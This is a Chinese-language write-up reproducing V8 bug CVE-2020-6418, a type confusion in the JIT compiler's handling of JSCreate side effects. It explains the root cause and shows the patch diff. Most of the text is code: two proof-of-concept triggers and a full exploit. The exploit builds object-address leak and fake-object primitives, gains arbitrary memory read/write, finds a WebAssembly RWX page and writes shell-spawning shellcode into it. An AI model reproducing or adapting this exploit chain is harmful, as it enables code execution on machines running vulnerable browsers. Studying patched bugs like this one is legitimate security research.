v8-CVE-2020-6418复现

漏洞原理

漏洞相关信息可以在这里找到:链接
COMMIT: bdaa7d66a37adcc1f1d81c9b0f834327a74ffe07
安装:

1
2
3
4
git reset --hard bdaa7d66a37adcc1f1d81c9b0f834327a74ffe07
gclient sync
tools/dev/gm.py x64.release
tools/dev/gm.py x64.debug

原因:
函数 NodeProperties::InferReceiverMapsUnsafe负责推断对象的 Map。由此有两种属性,分别为reliable和unreliable,并且该对象的map必然为reliable或者unreliable。
在后一种情况下,调用者必须通过使用 CheckMap 节点或 CodeDependencies 来确保对象具有正确的类型。
在高层次上(需要优先进行内联的函数),InferReceiverMapsUnsafe 函数遍历effect链,直到找到创建问题对象的节点,同时如果遇到没有 kNoWrite 的节点,则将结果标记为unreliable,表示执行该节点可能具有side
effect,例如更改对象的映射。
kJSCreate 的处理有一个错误:如果有问题的对象不是 kJSCreate 的输出,那么循环继续而不将结果标记为不可靠。这是不正确的,因为 kJSCreate 可能会产生副作用,例如使用代理作为 Reflect.construct
的第三个参数。例如,可以通过内联 Array.pop 并在意外副作用期间将元素类型从 SMI 更改为 Doubles (类型混淆的点)来触发该错误。

Patch

1
2
3
4
5
6
7
8
9
10
11
12
13
diff --git a/src/compiler/node-properties.cc b/src/compiler/node-properties.cc
index 7ba3a59f6f..4729323c8f 100644
--- a/src/compiler/node-properties.cc
+++ b/src/compiler/node-properties.cc
@@ -447,6 +447,8 @@ NodeProperties::InferReceiverMapsResult NodeProperties::InferReceiverMapsUnsafe(
}
// We reached the allocation of the {receiver}.
return kNoReceiverMaps;
+ } else {
+ result = kUnreliableReceiverMaps;
}
break;
}

POC1

POC1比较好理解,利用smi和double的类型混淆,可以从最后一个Pop的数据看出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
ITERATIONS = 10000;
TRIGGER = false;

function f(a, p) {
return a.pop(Reflect.construct(function() {}, arguments, p));
}

let a;
let p = new Proxy(Object, {
get: function() {
if (TRIGGER) {
a[2] = 1.1;
}
return Object.prototype;
}
});
for (let i = 0; i < ITERATIONS; i++) {
let isLastIteration = i == ITERATIONS - 1;
a = [0, 1, 2, 3, 4];
if (isLastIteration)
TRIGGER = true;
print(f(a, p));
}

POC2

这个POC2通过obj与double的混淆修改了a.length,关于%PrepareFunctionForOptimization的作用是为函数执行时,提供feedback栈。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
let a = [0, 1, 2, 3, 4];
function empty() {}

function f(p) {
return a.pop(Reflect.construct(empty, arguments, p));
}

let p = new Proxy(Object, {
get: () => (Object.prototype)
});

function main(p) {
return f(p);
}

%PrepareFunctionForOptimization(empty);
%PrepareFunctionForOptimization(f);
%PrepareFunctionForOptimization(main);

f(empty);
f(empty);
%OptimizeFunctionOnNextCall(f);
print(f(p));

漏洞利用

漏洞利用和常规的类型混淆漏洞利用方式差不多,获取map -> 获取fake_obj -> 任意读写 -> wasm 执行shellcode
exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
var f64 = new Float64Array(1);
var bigUint64 = new BigUint64Array(f64.buffer);

function ftoi(f)
{
f64[0] = f;
return bigUint64[0];
}

function hex(i)
{
return i.toString(16).padStart(8, "0");
}

function itof(i)
{
bigUint64[0] = i;
return f64[0];
}

let a = [0.1, ,,,,,,,,,,,,,,,,,,,,,, 6.1, 7.1, 8.1];
var b;

a.pop();
a.pop();
a.pop();
function empty() {}

function f(p) {
a.push(typeof(Reflect.construct(empty, arguments, p)) === Proxy ? 0.2 : 156842065920.05);
for(let i = 0; i<0x10000; i++){}
}

let p = new Proxy(Object, {
get: function() {
a[0] = {};
b = [0.2, 1.2, 2.2, 3.2, 4.3];
return Object.prototype;
}
});

function main(o) {
for(let i = 0; i < 0x10000; i++){}
return f(o);
}

for(let i = 0; i < 0x10000; i++)
{
empty();
}

main(empty);
main(empty);

main(p);
var control_obj = [b];

var double_map = b[5];
var obj_map = b[15];

console.log("double_map: 0x" + hex(ftoi(double_map)));
console.log("float_map: 0x" + hex(ftoi(obj_map)));

function leak_obj(obj)
{
control_obj[0] = obj;
b[15] = double_map;
let ad = control_obj[0];
b[15] = obj_map;
return ad;
}

function fake_obj_fun(ad_fun)
{
b[19] = ad_fun;
let tmp = control_obj[0];
return tmp;
}

var fake_obj = [double_map,obj_map,1.1,2.2,3.3];

var fake_obj_ad = itof(ftoi(leak_obj(fake_obj)) + 0x20n);
console.log("fake_ad: 0x" + hex(ftoi(fake_obj_ad) - 0x8n));
var fake_obj_1 = fake_obj_fun(fake_obj_ad);

function write_any(ad)
{
fake_obj[1] = itof(ftoi(ad) - 0x8n);
let leak_ad = fake_obj_1[0];
return leak_ad;
}

function read_any(ad,data)
{
fake_obj[1] = itof(ftoi(ad) - 0x8n);
fake_obj_1[0] = itof(data);
}


var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);

var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule);
var f = wasmInstance.exports.main;

var d = leak_obj(f);
var sharefunctioninfo = write_any(itof(ftoi(d) + 0xcn));
var wasmexportedfunctiondata = write_any(itof(ftoi(sharefunctioninfo) + 0x4n));
var instance = write_any(itof(ftoi(wasmexportedfunctiondata) + 0x8n));
var test_ad = itof(ftoi(instance) + 0x68n + 0x222200000000n);

console.log("d: 0x" + hex(ftoi(d)));
console.log("sharefunctioninfo: 0x" + hex(ftoi(sharefunctioninfo)));

var rwx_page = write_any(test_ad);

var data_buf = new ArrayBuffer(24);
var data_view = new DataView(data_buf);
var addr = leak_obj(data_buf);

console.log("rwx_page: 0x" + hex(ftoi(rwx_page)));

var shellcode=[
0x6e69622fbb48f631n,
0x5f54535668732f2fn,
0x050fd231583b6an
];

read_any(itof(ftoi(addr) + 0x14n),ftoi(rwx_page));

for (let i = 0; i < shellcode.length; i++)
data_view.setBigUint64(8*i, shellcode[i], true);
f();

参考链接:
1.browser-pwn cve-2020-6418 漏洞分析
2.CVE-2020-6418漏洞分析
3.Incorrect side effect modelling for JSCreate
4.Reflect.construct()